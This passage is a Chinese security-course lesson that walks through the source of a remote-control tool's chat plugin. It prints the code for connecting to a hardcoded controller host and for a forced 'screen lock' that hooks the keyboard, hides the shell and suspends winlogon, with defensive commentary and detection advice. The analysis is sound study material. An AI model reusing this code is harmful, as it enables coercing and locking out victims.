第 29 课:主插件:远程交谈
# 第 29 课:主插件:远程交谈
免责声明:本专栏仅用于安全工程学习研究,禁止使用本专栏介绍的技术做其他用途,否则后果自负,与本号无关。
本课定位:防御分析、源码阅读、用户交互风险识别和企业检测工程。
本课只讲远程交谈模块的消息收发、窗口流程、用户提示和风险控制,不提供强制锁屏、键盘拦截、用户诱导或社工滥用的操作步骤。
第 28 课讲的是远程终端:远端输入命令,本机执行并回传输出。本课看 主插件\远程交谈。
远程交谈看起来没有远程终端那么“技术破坏”,但它连接的是用户界面和用户心理:弹窗、聊天、置顶、关闭、锁屏、隐藏桌面元素。这类能力如果设计不透明,就可能被用于强制交互、诱导用户、冒充运维人员或干扰用户操作。
本课主线如下:
远程交谈插件入口
-> 创建 CChatManager
-> 发送 TOKEN_CHAT_START
-> 创建对话框线程
-> ChatDialogProc 处理本地输入
-> OnReceive 显示对方消息或处理控制命令
-> 高风险分支:关闭、锁定、解锁
-> 企业侧要求:用户可见、授权确认、交谈记录、可退出
2
3
4
5
6
7
8
# 1. 本课学习目标
| 问题 | 本课回答 |
|---|---|
| 远程交谈模块做什么 | 创建本地聊天窗口,收发文本,并处理关闭/锁定/解锁命令 |
| 为什么它也有安全风险 | 它影响用户界面,可能改变用户操作环境 |
MessageLoopProc 做什么 | 动态创建聊天对话框并运行消息循环 |
ChatDialogProc 做什么 | 处理发送按钮、关闭消息和内部窗口消息 |
OnReceive 做什么 | 显示对方消息,或处理单字节控制命令 |
| 聊天协议是什么格式 | 文本包是 TCHAR[] + 终止符,控制包是 1 字节命令 |
| 锁屏如何实现 | 通过置顶窗口、限制光标、隐藏 Shell 窗口、键盘 Hook 和系统进程操作叠加 |
| 合法远程协助应怎么设计 | 明确提示、用户授权、可随时退出、完整交谈记录 |
# 2. 本课涉及源码目录和文件
| 文件 | 作用 |
|---|---|
主插件\远程交谈\远程交谈.sln | 远程交谈插件解决方案 |
主插件\远程交谈\远程交谈\远程交谈.cpp | 插件入口、连接选择、创建 CChatManager |
主插件\远程交谈\远程交谈\ChatManager.h | 控件 ID、命令枚举、类声明 |
主插件\远程交谈\远程交谈\ChatManager.cpp | 聊天窗口、消息收发、控制命令和高风险界面控制逻辑 |

# 3. 插件入口:连接后创建 CChatManager
入口代码和其他主插件一致。连接成功后创建 CChatManager,然后进入事件循环。
// 源码位置:主插件\远程交谈\远程交谈\远程交谈.cpp:7-43
// 防御分析注释:
// 1. MainThread 根据 IsTcp 选择 TCP 或 UDP。
// 2. 连接成功后创建 CChatManager,后续文本和控制命令由它处理。
// 3. 远程交谈能力必须与用户授权和可见提示绑定,否则容易形成社工风险。
struct plugInfo
{
char mark[30];
TCHAR szAddress[255];
DWORD szPort;
BOOL IsTcp;
BOOL RunDllEntryProc;
} MyInfo =
{
"plugmark",
_T("iamasbcx.asuscomm.com"),
6000,
1,
0,
};
DWORD WINAPI MainThread(LPVOID dllMainThread)
{
ISocketBase* socketClient;
if (MyInfo.IsTcp == 1)
socketClient = new CTcpSocket();
else
socketClient = new CUdpSocket();
if (socketClient->Connect(MyInfo.szAddress, MyInfo.szPort))
{
CChatManager manager(socketClient);
socketClient->run_event_loop();
}
SAFE_DELETE(socketClient);
if (MyInfo.RunDllEntryProc)
ExitProcess(0);
return 0;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
这里的安全重点不是端口或域名本身,而是远程连接后能否弹出窗口、显示内容、改变用户界面。
# 4. 命令与控件:先看界面和控制面
ChatManager.h 里定义了聊天窗口控件 ID 和控制命令。
// 源码位置:主插件\远程交谈\远程交谈\ChatManager.h:8-45
// 防御分析注释:
// 1. IDC_EDIT_CHATLOG 是聊天记录框,IDC_EDIT_NEWMSG 是本地输入框。
// 2. COMMAND_CHAT_CLOSE 用于关闭窗口。
// 3. COMMAND_CHAT_SCREEN_LOCK / UNLOCK 会影响用户桌面,是高风险控制命令。
#define IDC_EDIT_CHATLOG 1000
#define IDC_EDIT_NEWMSG 1001
#define IDC_BUTTON_SEND 1002
#define IDC_BUTTON_END 1003
enum
{
COMMAND_NEXT_CChat,
COMMAND_CHAT_CLOSE,
COMMAND_CHAT_SCREEN_LOCK,
COMMAND_CHAT_SCREEN_UNLOCK,
};
class CChatManager : public CManager
{
public:
BOOL m_buser;
CChatManager(ISocketBase* pClient);
virtual ~CChatManager();
virtual void OnReceive(LPBYTE lpBuffer, UINT nSize);
private:
HWND m_hWnd;
static DWORD WINAPI MessageLoopProc(LPVOID lParam);
static INT_PTR CALLBACK ChatDialogProc(HWND hwndDlg, UINT uMsg,
WPARAM wParam, LPARAM lParam);
UINT nPreviousState;
};
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
和远程终端不同,远程交谈的命令更少,但它直接碰到用户界面,所以合规要求更高。
# 5. 构造函数:发送聊天模块 token 并创建窗口线程
// 源码位置:主插件\远程交谈\远程交谈\ChatManager.cpp:154-165
// 防御分析注释:
// 1. 构造函数发送 TOKEN_CHAT_START,主控端据此打开交谈窗口。
// 2. WaitForDialogOpen 等待主控端窗口准备好。
// 3. MessageLoopProc 在线程中创建本地聊天对话框。
CChatManager::CChatManager(ISocketBase* pClient) : CManager(pClient)
{
m_buser = FALSE;
m_hWnd = NULL;
BYTE bToken;
bToken = TOKEN_CHAT_START;
Send((LPBYTE)&bToken, sizeof(bToken));
WaitForDialogOpen();
HANDLE hThread = CreateThread(NULL, 0, MessageLoopProc, this, 0, NULL);
if (hThread)
CloseHandle(hThread);
m_buser = TRUE;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
这段代码说明:远程交谈不仅是网络消息,它还会在本机创建 UI 线程和窗口。检测时要把网络会话和窗口创建行为关联。
# 6. 聊天协议格式:文本包和单字节命令包
远程交谈模块没有设计复杂的业务包头。底层 socket / 管理器层负责完整包边界、压缩和解压;进入 CChatManager::OnReceive(lpBuffer, nSize) 时,聊天模块看到的是业务载荷。
本模块的业务载荷只有两类:
| 载荷类型 | 格式 | 判断方式 | 作用 |
|---|---|---|---|
| 文本消息 | TCHAR[] 字符串,末尾带 \0 | nSize > 1 | 显示到聊天记录框 |
| 控制命令 | 1 字节 BYTE | nSize == 1 | 打开确认、关闭、锁定、解锁 |

新手要注意:这里说的“装包/解包”是应用层载荷,不是完整网络协议。完整包的收齐、解压和分发在主控框架里完成;远程交谈模块只负责把文本或单字节命令交给 Send,以及在收到 lpBuffer/nSize 后解释其业务含义。
# 6.1 命令枚举决定单字节包含义
// 源码位置:主插件\远程交谈\远程交谈\ChatManager.h:27-34
// 源码位置:主控\Quick\Chat.h:5-11
// 防御分析注释:
// 1. 插件侧和主控侧各自定义同一组 COMMAND_CHAT_* 枚举。
// 2. enum 没有显式赋值,因此默认从 0 递增。
// 3. 单字节包没有额外校验字段,完全依赖双方枚举顺序一致。
// 4. 这种协议很轻,但健壮性弱;企业重构时应加入版本、长度、类型和鉴权字段。
enum
{
COMMAND_NEXT_CChat, // 0:主控聊天窗口已打开,插件可以继续初始化本地窗口
COMMAND_CHAT_CLOSE, // 1:关闭插件侧聊天窗口;当前主控代码主要通过断开会话关闭
COMMAND_CHAT_SCREEN_LOCK, // 2:高风险,触发插件侧锁屏相关逻辑
COMMAND_CHAT_SCREEN_UNLOCK, // 3:恢复锁屏相关状态
};
2
3
4
5
6
7
8
9
10
11
12
13
14
这里的关键点是:控制命令只占 1 字节。所以插件侧 OnReceive 用 nSize == 1 判断它是不是控制命令;如果不是单字节,就按聊天文本处理。
# 6.2 文本装包:发送的是 TCHAR 字符串
主控侧点击“发送消息”时,并没有在文本前面加 COMMAND_CHAT_TEXT 一类的业务头,而是直接把输入框里的 TCHAR 字符串发出去:
// 源码位置:主控\Quick\Chat.cpp:101-123
// 防御分析注释:
// 1. GetDlgItemText 从主控输入框读取文本。
// 2. Send 的载荷是 TCHAR 字符串本身,不带聊天业务头。
// 3. 长度计算包含末尾的 TCHAR 终止符,便于接收端按字符串显示。
// 4. 当前协议没有消息 ID、发送方 ID、会话 ID、签名或内容类型字段。
void CChat::OnButtonSend()
{
TCHAR str[8159];
// 从主控侧输入框读取要发送的文本。
GetDlgItemText(IDC_EDIT_NEWMSG, str, sizeof(str));
if (_tcscmp(str, _T("")) == 0)
{
m_editNewMsg.SetFocus();
return;
}
// 应用层装包:
// [TCHAR 文本内容][TCHAR 终止符]
//
// lstrlen(str) 是字符数,不含终止符;
// sizeof(TCHAR) 把字符数换成字节数;
// 最后的 + sizeof(TCHAR) 把字符串终止符也发过去。
m_iocpServer->Send(
m_pContext,
(LPBYTE)str,
lstrlen(str) * sizeof(TCHAR) + sizeof(TCHAR));
// 本地 UI 追加“自己 + 时间 + 内容”。
// 防御侧要注意:这里没有持久化审计日志,只是写入窗口控件。
m_editChatLog.ReplaceSel(Text);
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
插件侧本地聊天窗口发送文本时,装包方式相同:
// 源码位置:主插件\远程交谈\远程交谈\ChatManager.cpp:328-358
// 防御分析注释:
// 1. 插件侧也直接发送 TCHAR 字符串载荷。
// 2. 双方文本包格式对称:谁发文本,谁就发送 TCHAR[] + 终止符。
// 3. 因为没有显式文本类型字段,所以接收端只能用 nSize 是否为 1 来区分命令与文本。
case WM_COMMAND:
if (LOWORD(wParam) == IDC_BUTTON_SEND)
{
TCHAR* str = new TCHAR[8159];
GetDlgItemText(hDlg, IDC_EDIT_NEWMSG, str, sizeof(str) * sizeof(TCHAR));
if (_tcscmp(str, _T("")) == 0)
return TRUE;
// 应用层文本载荷:
// [TCHAR 文本内容][TCHAR 终止符]
pThis->Send((LPBYTE)str, lstrlen(str) * sizeof(TCHAR) + sizeof(TCHAR));
// 发送后立即写本地聊天记录。
SendMessage(hEditChatLog, EM_REPLACESEL, FALSE, (LPARAM)Text);
SetDlgItemText(hDlg, IDC_EDIT_NEWMSG, _T(""));
return TRUE;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
协议上的风险也很明显:聊天文本没有结构化字段,无法天然区分“普通文本、系统提示、敏感信息提示、富文本、附件或命令”。合法远程协助产品应把消息类型、发送方身份、会话 ID、时间戳、签名校验和审计编号显式写进协议。
# 6.3 命令装包:主控发送 1 字节
主控侧锁定和解锁按钮发送的是单字节命令:
// 源码位置:主控\Quick\Chat.cpp:201-213
// 防御分析注释:
// 1. 锁定/解锁不是文本消息,而是 1 字节控制命令。
// 2. 单字节命令包到达插件后,会被 nSize == 1 分支拦截。
// 3. 高风险命令必须有强授权、二次确认和审计记录;本课不提供使用步骤。
void CChat::OnBnClickedButton_LOCK()
{
BYTE bToken = COMMAND_CHAT_SCREEN_LOCK;
m_iocpServer->Send(m_pContext, &bToken, sizeof(BYTE));
}
void CChat::OnBnClickedButton_UNLOCK()
{
BYTE bToken = COMMAND_CHAT_SCREEN_UNLOCK;
m_iocpServer->Send(m_pContext, &bToken, sizeof(BYTE));
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
COMMAND_NEXT_CChat 也是单字节命令。它不是锁屏命令,而是主控窗口初始化完成后发给插件,用来释放插件构造函数中的等待逻辑:
// 源码位置:主控\Quick\Chat.cpp:57-69
// 防御分析注释:
// 1. OnInitDialog 说明主控侧聊天窗口已经创建完成。
// 2. COMMAND_NEXT_CChat 发回插件后,插件侧 NotifyDialogIsOpen() 会解除等待。
BOOL CChat::OnInitDialog()
{
CDialog::OnInitDialog();
BYTE bToken = COMMAND_NEXT_CChat;
m_iocpServer->Send(m_pContext, &bToken, sizeof(BYTE));
return TRUE;
}
2
3
4
5
6
7
8
9
10
11
12
13
# 6.4 解包:先判心跳,再判单字节命令
插件侧收到业务载荷后,先忽略心跳,再判断 nSize:
// 源码位置:主插件\远程交谈\远程交谈\ChatManager.cpp:380-438
// 防御分析注释:
// 1. TOKEN_HEARTBEAT 不进入聊天逻辑。
// 2. nSize == 1 时进入控制命令 switch。
// 3. 不是单字节控制命令时,后续会按 TCHAR 字符串追加到聊天记录。
void CChatManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
if (lpBuffer[0] == TOKEN_HEARTBEAT)
return;
if (nSize == 1)
{
switch (lpBuffer[0])
{
case COMMAND_NEXT_CChat:
NotifyDialogIsOpen();
return;
case COMMAND_CHAT_CLOSE:
SendMessage(m_hWnd, WM_USER + 1, NULL, NULL);
return;
case COMMAND_CHAT_SCREEN_LOCK:
// 高风险锁屏分支,后文单独拆解。
return;
case COMMAND_CHAT_SCREEN_UNLOCK:
// 解锁恢复分支,后文单独拆解。
return;
}
}
// 非单字节载荷继续按聊天文本处理。
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
主控侧接收文本时,走 OnReceiveComplete。这里已经是底层框架收齐并解压后的缓冲区:
// 源码位置:主控\Quick\Chat.cpp:86-99
// 防御分析注释:
// 1. m_DeCompressionBuffer 是底层通信层处理后的业务数据。
// 2. 代码把缓冲区解释成 TCHAR 字符串并写入聊天记录。
// 3. 当前实现主要面向可信控制端,没有对消息来源、格式和敏感内容做强校验。
void CChat::OnReceiveComplete()
{
// 追加一个 NUL 字节作为兜底终止符。
// 发送端本身已经发送 TCHAR 终止符,这里更多是防御式补零。
m_pContext->m_DeCompressionBuffer.Write((LPBYTE)_T(""), 1);
CString strResult = (TCHAR*)m_pContext->m_DeCompressionBuffer.GetBuffer(0);
// 格式化为“对方 + 时间 + 内容”,再写入聊天记录控件。
swprintf_s(Text, _T("%s %d/%d/%d %d:%02d:%02d\r\n %s\r\n\r\n"),
_T("对方:"), st.wYear, st.wMonth, st.wDay,
st.wHour, st.wMinute, st.wSecond, strResult);
m_editChatLog.ReplaceSel(Text);
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
从安全工程角度看,这个协议最大的问题不是“复杂”,而是“过于简单”:没有身份字段、没有消息类型字段、没有完整性校验、没有审计序号,也没有敏感内容提示。企业如果把这类功能重构为合规远程协助,应该把聊天消息和控制命令拆成明确的结构化协议。
# 7. 对话框生命周期

MessageLoopProc 动态创建一个对话框模板,包含:
| 控件 | 作用 |
|---|---|
IDC_EDIT_CHATLOG | 显示聊天记录 |
IDC_EDIT_NEWMSG | 用户输入新消息 |
IDC_BUTTON_SEND | 发送消息 |
IDC_BUTTON_END | 结束交谈按钮,但源码里默认禁用 |
// 源码位置:主插件\远程交谈\远程交谈\ChatManager.cpp:186-311
// 防御分析注释:
// 1. MessageLoopProc 手工构造对话框模板,而不是使用资源文件中的固定对话框。
// 2. CreateDialogIndirectParam 创建窗口,并绑定 ChatDialogProc。
// 3. SetWindowPos(HWND_TOPMOST) 会让窗口置顶,应与用户体验和合规提示一起评估。
// 4. “结束交谈”按钮默认禁用,合法远程协助工具不应这样设计。
DWORD WINAPI CChatManager::MessageLoopProc(LPVOID lParam)
{
HGLOBAL hGlobal = GlobalAlloc(GMEM_ZEROINIT, 256);
LPBYTE lpBuffer = (LPBYTE)GlobalLock(hGlobal);
LPDLGTEMPLATE lpTemplate = (LPDLGTEMPLATE)lpBuffer;
lpTemplate->style = DS_SETFONT | DS_MODALFRAME | DS_CENTER |
WS_MINIMIZEBOX | WS_POPUP | WS_CAPTION | WS_SYSMENU;
lpTemplate->cdit = 4;
// 这里依次创建输入框、发送按钮、结束按钮和聊天记录框。
CChatManager* pThis = (CChatManager*)lParam;
pThis->m_hWnd = CreateDialogIndirectParam(
NULL,
lpTemplate,
NULL,
ChatDialogProc,
(LPARAM)pThis);
if (pThis->m_hWnd)
{
SendMessage(GetDlgItem(pThis->m_hWnd, IDC_EDIT_NEWMSG),
EM_SETLIMITTEXT, 8158, 0);
SetWindowPos(pThis->m_hWnd, HWND_TOPMOST,
0, 0, 0, 0, SWP_NOSIZE | SWP_NOMOVE);
MSG msg;
while (GetMessage(&msg, NULL, 0, 0))
{
if (!IsDialogMessage(pThis->m_hWnd, &msg))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
}
}
return 0;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
合法远程协助工具应该让用户看得懂:是谁在连接、属于哪个工单、对方身份是什么、如何结束会话。
# 8. 消息收发流程

本地点击发送按钮时,ChatDialogProc 读取输入框内容,调用 Send 回传,并把消息追加到聊天记录框。
// 源码位置:主插件\远程交谈\远程交谈\ChatManager.cpp:314-358
// 防御分析注释:
// 1. IDC_BUTTON_SEND 分支读取本地输入框文本。
// 2. Send 把文本发送给远端。
// 3. 本地聊天记录会追加“自己 + 时间 + 内容”。
// 4. 合法工具应把聊天记录保存到受保护日志,而不是只存在窗口控件里。
INT_PTR CALLBACK CChatManager::ChatDialogProc(HWND hDlg,
UINT uMsg,
WPARAM wParam,
LPARAM lParam)
{
CChatManager* pThis =
(CChatManager*)GetWindowLongPtr(hDlg, GWLP_USERDATA);
switch (uMsg)
{
case WM_COMMAND:
if (LOWORD(wParam) == IDC_BUTTON_SEND)
{
TCHAR* str = new TCHAR[8159];
GetDlgItemText(hDlg, IDC_EDIT_NEWMSG,
str, sizeof(str) * sizeof(TCHAR));
if (_tcscmp(str, _T("")) == 0)
return TRUE;
pThis->Send((LPBYTE)str,
lstrlen(str) * sizeof(TCHAR) + sizeof(TCHAR));
swprintf_s(Text, 8192,
_T("%s %d/%d/%d %d:%02d:%02d\r\n %s\r\n\r\n"),
_T("自己:"), st.wYear, st.wMonth, st.wDay,
st.wHour, st.wMinute, st.wSecond, str);
SendMessage(hEditChatLog, EM_REPLACESEL, FALSE, (LPARAM)Text);
SetDlgItemText(hDlg, IDC_EDIT_NEWMSG, _T(""));
return TRUE;
}
break;
}
return FALSE;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
远端消息到达时,OnReceive 会把它格式化为“对方 + 时间 + 内容”,追加到聊天记录框,并恢复窗口显示。
// 源码位置:主插件\远程交谈\远程交谈\ChatManager.cpp:380-463
// 防御分析注释:
// 1. 非心跳数据如果不是单字节控制命令,会被当作聊天文本显示。
// 2. 文本内容会直接进入聊天窗口,需要防止诱导、冒充和敏感信息索取。
// 3. 合法工具应记录双方消息、身份标识、会话编号和时间。
void CChatManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
if (lpBuffer[0] == TOKEN_HEARTBEAT)
return;
if (nSize == 1)
{
// 单字节包用于控制命令,下一节单独讲。
}
SYSTEMTIME st;
GetLocalTime(&st);
swprintf_s(Text, 8192,
_T("%s %d/%d/%d %d:%02d:%02d\r\n %s\r\n\r\n"),
_T("对方:"),
st.wYear, st.wMonth, st.wDay,
st.wHour, st.wMinute, st.wSecond,
(wchar_t*)lpBuffer);
HWND hEditChatLog = GetDlgItem(m_hWnd, IDC_EDIT_CHATLOG);
SendMessage(hEditChatLog, EM_REPLACESEL, FALSE, (LPARAM)Text);
ShowWindow(m_hWnd, SW_RESTORE);
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# 9. 控制命令:关闭、锁定、解锁
OnReceive 里对单字节包有特殊处理:
// 源码位置:主插件\远程交谈\远程交谈\ChatManager.cpp:380-438
// 防御分析注释:
// 1. COMMAND_CHAT_CLOSE 会关闭聊天窗口。
// 2. COMMAND_CHAT_SCREEN_LOCK / UNLOCK 会改变用户交互环境,是高风险分支。
// 3. 单字节命令没有二次校验字段,协议健壮性和合规性都较弱。
void CChatManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
if (lpBuffer[0] == TOKEN_HEARTBEAT)
return;
if (nSize == 1)
{
switch (lpBuffer[0])
{
case COMMAND_NEXT_CChat:
NotifyDialogIsOpen();
return;
case COMMAND_CHAT_CLOSE:
SendMessage(m_hWnd, WM_USER + 1, NULL, NULL);
return;
case COMMAND_CHAT_SCREEN_LOCK:
// 高风险分支,下一节按源码拆解。
return;
case COMMAND_CHAT_SCREEN_UNLOCK:
// 恢复光标、桌面元素和键盘钩子状态,下一节按源码拆解。
return;
}
}
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
命令面有两个安全工程问题:
| 问题 | 说明 |
|---|---|
文本和命令靠 nSize 区分 | 协议简单,但缺少显式类型字段 |
| 锁屏命令过于敏感 | 单字节就能触发多组 UI 和输入控制行为 |
合规设计应至少加入:用户侧确认、管理员审批、命令签名、会话 ID、命令序号、审计日志和超时恢复。
# 10. 锁屏功能具体实现:多组 UI 和输入控制叠加
源码里的“锁屏”不是调用 Windows 正常锁屏接口,也不是标准的 LockWorkStation()。它是把多组 UI 和输入控制叠加在一起,让用户难以离开聊天窗口:
收到 COMMAND_CHAT_SCREEN_LOCK
-> 恢复聊天窗口
-> ClipCursor 限制鼠标到聊天窗口矩形
-> 设置屏保运行状态标志
-> 枚举并最小化部分窗口
-> 隐藏任务栏、开始按钮、桌面
-> 发送 WM_USER + 2
-> SetHook 安装低层键盘 Hook
-> 提升调试权限并挂起 winlogon 相关进程
2
3
4
5
6
7
8
9
这是一种高风险强制交互实现。本课只解释源码如何工作,便于防御检测和安全重构,不提供触发或复用步骤。
# 10.1 锁定分支:从命令到 UI 控制
// 源码位置:主插件\远程交谈\远程交谈\ChatManager.cpp:399-418
// 防御分析注释:
// 1. 该分支由 1 字节 COMMAND_CHAT_SCREEN_LOCK 触发。
// 2. 它没有看到用户确认、超时恢复、审计记录或权限边界判断。
// 3. 下面每一行都应作为企业检测点,而不是功能复用建议。
case COMMAND_CHAT_SCREEN_LOCK:
{
SetEvent(m_hEventDlgOpen);
// 恢复聊天窗口。结合 MessageLoopProc 里的 HWND_TOPMOST,
// 该窗口会成为用户当前交互的主要界面。
ShowWindow(m_hWnd, SW_RESTORE);
// 读取聊天窗口矩形,后面 ClipCursor 会用它限制鼠标活动范围。
RECT rct;
PIDWNDINFO pwi;
GetWindowRect(m_hWnd, &rct);
// 高风险:限制鼠标到聊天窗口区域。
ClipCursor(&rct);
// 修改系统屏保运行状态标志。
SystemParametersInfo(SPI_SETSCREENSAVERRUNNING, true, 0, SPIF_UPDATEINIFILE);
// 枚举窗口并最小化一批可见顶层窗口。
pwi.dwProcessId = 0;
pwi.hWnd = m_hWnd;
EnumWindows(EnumWindowsProc, (LPARAM)&pwi);
// 高风险:隐藏任务栏、开始按钮和桌面窗口。
::ShowWindow(::FindWindow(_T("Shell_TrayWnd"), NULL), SW_HIDE);
::ShowWindow(::FindWindow(_T("Button"), _T("开始")), SW_HIDE);
::ShowWindow(::FindWindow(_T("Progman"), NULL), SW_HIDE);
// 通过窗口内部消息触发 SetHook()。
SendMessage(m_hWnd, WM_USER + 2, NULL, NULL);
// 全局状态,析构和解锁分支依赖它来恢复环境。
user = 1;
return;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
这段源码说明,“锁屏”效果来自多种行为组合,而不是一个单独 API。防御侧要把这些事件按时间关联起来看:置顶窗口、限制光标、隐藏 Shell 窗口、键盘 Hook、异常系统进程操作如果集中出现,风险等级应明显提升。
# 10.2 窗口枚举:最小化其他窗口
// 源码位置:主插件\远程交谈\远程交谈\ChatManager.cpp:90-109
// 防御分析注释:
// 1. EnumWindowsProc 会枚举顶层窗口。
// 2. 当 dwProcessId == 0 时,它会最小化可见且带最小化按钮的窗口。
// 3. 这会干扰用户当前工作区,属于强制交互的一部分。
BOOL CALLBACK EnumWindowsProc(HWND hWnd, LPARAM lParam)
{
PIDWNDINFO* pInfo = (PIDWNDINFO*)lParam;
LONG lStyle = GetWindowLong(hWnd, GWL_STYLE);
if (pInfo->dwProcessId == 0 &&
hWnd != pInfo->hWnd &&
IsWindowVisible(hWnd) &&
GetParent(hWnd) == NULL &&
lStyle & WS_MINIMIZEBOX)
{
ShowWindow(hWnd, SW_MINIMIZE);
return TRUE;
}
return TRUE;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
正常聊天窗口不需要最小化其他业务窗口。企业检测时可以关注:未知进程创建置顶窗口后,又连续调用 EnumWindows、ShowWindow(SW_MINIMIZE) 和隐藏 Shell 窗口。
# 10.3 键盘 Hook:拦截常见离开路径
WM_USER + 2 会进入 ChatDialogProc,再调用 SetHook():
// 源码位置:主插件\远程交谈\远程交谈\ChatManager.cpp:362-367
// 防御分析注释:
// 1. 锁屏分支不是直接调用 SetHook,而是通过窗口消息触发。
// 2. 检测时应关联 COMMAND_CHAT_SCREEN_LOCK、WM_USER + 2 和 SetWindowsHookEx。
case WM_USER + 2:
SetHook();
return TRUE;
2
3
4
5
6
7
低层键盘 Hook 会拦截一些系统快捷键:
// 源码位置:主插件\远程交谈\远程交谈\ChatManager.cpp:48-88
// 防御分析注释:
// 1. WH_KEYBOARD_LL 会让进程观察全局键盘输入事件。
// 2. 这里返回 1 会阻止部分系统快捷键继续传递。
// 3. 拦截 Alt+Tab、Alt+F4、Win 键等行为,明显超出普通聊天能力范围。
LRESULT CALLBACK KeyBoardProc(int code, WPARAM wParam, LPARAM lParam)
{
if (code == HC_ACTION)
{
PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT)lParam;
if ((p->vkCode == VK_TAB && (p->flags & LLKHF_ALTDOWN) != 0) ||
(p->vkCode == VK_F4 && (p->flags & LLKHF_ALTDOWN) != 0) ||
(p->vkCode == VK_ESCAPE && (p->flags & LLKHF_ALTDOWN) != 0) ||
(p->vkCode == VK_ESCAPE && (GetKeyState(VK_CONTROL) & 0x8000) != 0) ||
(p->vkCode == VK_LWIN) ||
(p->vkCode == VK_RWIN))
{
// 高风险:阻断用户离开当前交互界面的常见路径。
return 1;
}
}
return ::CallNextHookEx(g_hKeyBoard, code, wParam, lParam);
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
合法远程协助产品如果需要防误触输入,应使用系统支持的、可见的、可撤销的控制方式,不能静默拦截用户系统快捷键。
# 10.4 SetHook:安装 Hook 并影响系统进程
// 源码位置:主插件\远程交谈\远程交谈\ChatManager.cpp:112-137
// 防御分析注释:
// 1. SetWindowsHookEx(WH_KEYBOARD_LL) 是全局低层键盘 Hook。
// 2. 代码还从 ntdll 解析 RtlAdjustPrivilege、NtSuspendProcess、NtResumeProcess。
// 3. 随后查找 winlogon.exe 并尝试挂起相关进程,是极高风险行为。
// 4. 企业应把这类行为纳入阻断或高优先级告警,而不是允许普通聊天模块调用。
void SetHook()
{
g_hKeyBoard = SetWindowsHookEx(
WH_KEYBOARD_LL,
KeyBoardProc,
GetModuleHandle(NULL),
0);
HMODULE hMod = LoadLibrary(_T("ntdll"));
RtlAdjustPrivilege lpfnRtlAdjustPrivilege =
(RtlAdjustPrivilege)GetProcAddress(hMod, "RtlAdjustPrivilege");
SuspendOrResumeProcess lpfnNtSuspendProcess =
(SuspendOrResumeProcess)GetProcAddress(hMod, "NtSuspendProcess");
lpfnNtResumeProcess =
(SuspendOrResumeProcess)GetProcAddress(hMod, "NtResumeProcess");
DWORD pid = GetWinlogonPid();
// 提升调试权限后打开 winlogon 进程。
BOOLEAN dummy = 0;
lpfnRtlAdjustPrivilege(SE_DEBUG_PRIVILEGE, true, false, &dummy);
hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, pid);
// 高风险:挂起系统登录相关进程。
lpfnNtSuspendProcess(hProcess);
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
这段是本课最敏感的实现。安全重构时应删除这类逻辑,改为合规的会话控制:用户确认、倒计时、可取消按钮、管理员审批、审计日志、异常自动恢复。
# 10.5 解锁:恢复被修改的状态
// 源码位置:主插件\远程交谈\远程交谈\ChatManager.cpp:420-431
// 防御分析注释:
// 1. 解锁依赖全局 user == 1,说明锁定状态不是对象内严格封装的状态机。
// 2. 恢复动作包括 Hook、光标、屏保状态、任务栏、开始按钮和桌面。
// 3. 应急处置时要检查这些状态是否真的恢复,而不是只看进程是否退出。
case COMMAND_CHAT_SCREEN_UNLOCK:
{
if (user == 1)
{
UnSetHook();
ClipCursor(NULL);
SystemParametersInfo(SPI_SETSCREENSAVERRUNNING, false, 0, SPIF_UPDATEINIFILE);
::ShowWindow(::FindWindow(_T("Shell_TrayWnd"), NULL), SW_SHOW);
::ShowWindow(::FindWindow(_T("Button"), _T("开始")), SW_SHOW);
::ShowWindow(::FindWindow(_T("Progman"), NULL), SW_SHOW);
user = 0;
return;
}
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
UnSetHook() 还会恢复前面被挂起的进程:
// 源码位置:主插件\远程交谈\远程交谈\ChatManager.cpp:139-148
// 防御分析注释:
// 1. UnhookWindowsHookEx 只解除键盘 Hook。
// 2. lpfnNtResumeProcess(hProcess) 试图恢复前面挂起的进程。
// 3. 如果进程崩溃或句柄异常,用户桌面可能残留异常状态。
void UnSetHook()
{
if (g_hKeyBoard)
{
UnhookWindowsHookEx(g_hKeyBoard);
lpfnNtResumeProcess(hProcess);
g_hKeyBoard = NULL;
}
}
2
3
4
5
6
7
8
9
10
11
12
13
14
# 11. 屏幕锁定风险面

源码里的锁定分支涉及几类高风险行为:
| 行为 | 风险 | 防御关注 |
|---|---|---|
| 窗口置顶 | 用户难以忽略或关闭 | 是否有明确授权与退出方式 |
